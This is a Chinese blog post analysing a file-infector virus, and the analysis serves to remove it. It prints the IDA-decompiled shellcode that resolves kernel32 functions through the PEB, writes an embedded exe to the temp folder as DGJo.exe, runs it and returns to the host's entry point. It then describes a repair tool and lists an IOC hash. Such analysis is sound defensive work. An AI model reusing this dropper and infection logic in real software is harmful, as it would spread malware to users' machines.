某感染病毒分析查杀
最近有个朋友不小心中了一个感染型病毒,导致磁盘内部分 exe 文件被感染,也正好顺手抽时间来分析一下(因为这个病毒没啥意思所以本文不会详细写每一个点纯当流水账记录)
我管他要了两个感染文件当样本
先来看一下 PE 情况
很明显有一个不正常的节被添加到 exe 里了而且入口点也是在这个节里,很常见的感染方式
直接打开 IDA 加载 PE 看看
把汇编稍微整理了然后在整理一下 F5 差不多看的就比较清晰了
// write access to const memory has been detected, the output may be wrong!
int start()
{
PIMAGE_DOS_HEADER Kernel32_DllBase; // eax
_IMAGE_EXPORT_DIRECTORY *v1; // ecx
DWORD v2; // edi
DWORD v3; // ebx
DWORD v4; // esi
unsigned int v5; // ecx
char *Export_Ordinals_Table; // esi
char *Export_All_Fun_Table; // edi
char *Export_Name_Table; // ebx
unsigned int index; // edx
int Fun_offset; // esi
char *v11; // edx
int v12; // ecx
int (__stdcall *Fun_Addr)(_DWORD); // esi
int v14; // ecx
int result; // eax
int v16; // esi
_DWORD *v17; // eax
int v18; // ecx
char str_lpBuffer[260]; // [esp+Ch] [ebp-16Ch] BYREF
char v20[32]; // [esp+110h] [ebp-68h] BYREF
char file_name[12]; // [esp+130h] [ebp-48h] BYREF
int v22; // [esp+13Ch] [ebp-3Ch]
unsigned int Export_Fun_Number; // [esp+144h] [ebp-34h]
char *v24; // [esp+148h] [ebp-30h]
char v25[4]; // [esp+14Ch] [ebp-2Ch] BYREF
_PEB *v26; // [esp+150h] [ebp-28h]
int (__stdcall *FLAG)(_DWORD); // [esp+154h] [ebp-24h]
void (__stdcall *GetTempPath)(int, char *); // [esp+158h] [ebp-20h]
unsigned int v29; // [esp+15Ch] [ebp-1Ch]
void (__stdcall *lstrcat)(char *, char *); // [esp+160h] [ebp-18h]
void (__stdcall *WriteFile)(int, _DWORD *, int, char *, _DWORD); // [esp+164h] [ebp-14h]
int (__stdcall *CreateFileA)(char *, unsigned int, _DWORD, _DWORD, int, int, _DWORD); // [esp+168h] [ebp-10h]
int (__stdcall *WinExec)(char *, int); // [esp+16Ch] [ebp-Ch]
void (__stdcall *CloseHandle)(int); // [esp+170h] [ebp-8h]
_DWORD *v35; // [esp+174h] [ebp-4h]
FLAG = 0;
CreateFileA = 0;
WriteFile = 0;
CloseHandle = 0;
WinExec = 0;
GetTempPath = 0;
lstrcat = 0;
strcpy(file_name, "DGJo.exe");
v22 = 0;
v35 = &locret_460269;
v26 = NtCurrentPeb();
locret_460269 = 0xE904C483;//add esp,4
*(&locret_460269 + 1) = 0xFFFAFDFF;//将 exe 的原始入口点写到 shellcode 后面 jmp xxxxxxx
Kernel32_DllBase = v26->Ldr->InInitializationOrderModuleList.Flink->Flink[1].Flink;//IDA 结构体识别问题忽略它吧
LABEL_2:
v1 = (Kernel32_DllBase + *(&Kernel32_DllBase[1].e_res2[8] + Kernel32_DllBase->e_lfanew));
v2 = v1->AddressOfFunctions; // 所有导出函数的地址表 RVA
v3 = v1->AddressOfNames; // 导出函数名称表 RVA
v4 = v1->AddressOfNameOrdinals; // 导出函数序号表 RVA
v5 = v1->NumberOfNames; // 以函数名字导出的函数个数
Export_Ordinals_Table = Kernel32_DllBase + v4;
Export_All_Fun_Table = Kernel32_DllBase + v2;
Export_Name_Table = Kernel32_DllBase + v3;
index = 0;
v24 = Export_Ordinals_Table;
v29 = 0;
Export_Fun_Number = v5;
while ( index < Export_Fun_Number )
{
Fun_offset = *&Export_All_Fun_Table[4 * *&Export_Ordinals_Table[2 * index]];
v11 = Kernel32_DllBase + *&Export_Name_Table[4 * index];
v12 = *v11;
Fun_Addr = (Kernel32_DllBase + Fun_offset);
if ( *v11 == 0x4D746547
&& *(v11 + 1) == 0x6C75646F
&& *(v11 + 2) == 0x6E614865
&& *(v11 + 3) == 0x41656C64 // GetModuleHandleA
&& !v11[16] )
{
if ( !FLAG )
{
FLAG = Fun_Addr;
strcpy(v20, "Kernel32.dll");
Kernel32_DllBase = Fun_Addr(v20); // GetModuleHandleA("Kernel32.dll")
goto LABEL_2;
}
}
else if ( v12 == 0x456E6957 && *(v11 + 1) == 0x636578 )
{
WinExec = Fun_Addr; // WinExec
}
else if ( v12 == 0x736F6C43 && *(v11 + 1) == 0x6E614865 && *(v11 + 2) == 0x656C64 )
{
CloseHandle = Fun_Addr; // CloseHandle
}
else if ( v12 == 0x74697257 && *(v11 + 1) == 0x6C694665 && *(v11 + 4) == 101 )
{
WriteFile = Fun_Addr; // WriteFile
}
else
{
v14 = *v11;
if ( *v11 == 0x61657243 && *(v11 + 1) == 0x69466574 && *(v11 + 2) == dword_41656C )
{
CreateFileA = Fun_Addr; // CreateFileA
}
else if ( v14 == 0x54746547 && *(v11 + 1) == 0x50706D65 && *(v11 + 2) == 0x41687461 )// GetTempPath
{
GetTempPath = Fun_Addr;
}
else if ( v14 == 0x7274736C && *(v11 + 1) == 0x41746163 )// lstrcat 函数功能:该函数将字符串 lpString2 附加在另一个字符串 lpString1 后面
{
lstrcat = Fun_Addr;
}
}
if ( FLAG && CreateFileA && WriteFile && CloseHandle && WinExec && GetTempPath && lstrcat )
break;
++v29;
Export_Ordinals_Table = v24;
index = v29;
}
GetTempPath(260, str_lpBuffer); // 获取临时路径
lstrcat(str_lpBuffer, file_name); // 拼接字符串
result = CreateFileA(str_lpBuffer, 0xC0000000, 0, 0, 2, 128, 0);// 创建文件
v16 = result;
if ( result != -1 ) // 判断是否创建成功
{
v17 = v35;
v18 = 0;
while ( *v17 != 9460301 )
{
v17 = (v17 + 1);
if ( ++v18 >= 500 )
goto LABEL_47;
}
WriteFile(v16, v17, 15872, v25, 0); // 写入文件
LABEL_47:
CloseHandle(v16); // 关闭文件句柄
result = WinExec(str_lpBuffer, 5); // 执行释放的 exe
}
return result;
}
这段 shellcode 其实也是非常简单
- 将 exe 原始入口点写到 shellcode 后面
- 将 shellcode 后面附加的 exe 写到临时路径中
- 调用 WinExec 执行释放的 exe
- 跳转执行到 exe 原始入口点,如下图
根据以上过程写出此病毒查杀恢复工具也是非常简单,基本思路就是遍历磁盘 exe,找特征码,然后读取并恢复原始入口点,最后删除多余节,我比较懒像这种项目随便改个感染型专杀工具就行了,所以我这里就随便找了个看雪上的专杀工具改了改在此感谢这位老哥
https://bbs.pediy.com/thread-146134.htm
效果如下
点 Kill 后会恢复被感染的文件
查看 PE 文件发现多余节已经被删除入口点也已经恢复
源码地址: https://github.com/WBGlIl/wbg_tools/blob/master/KillWorm.7z
根据释放文件的 hash 找到的关联信息
IOC
4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07
至于释放的文件等有时间我想起来可能会再去分析一下(主要是意义不大不想分析懒)。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论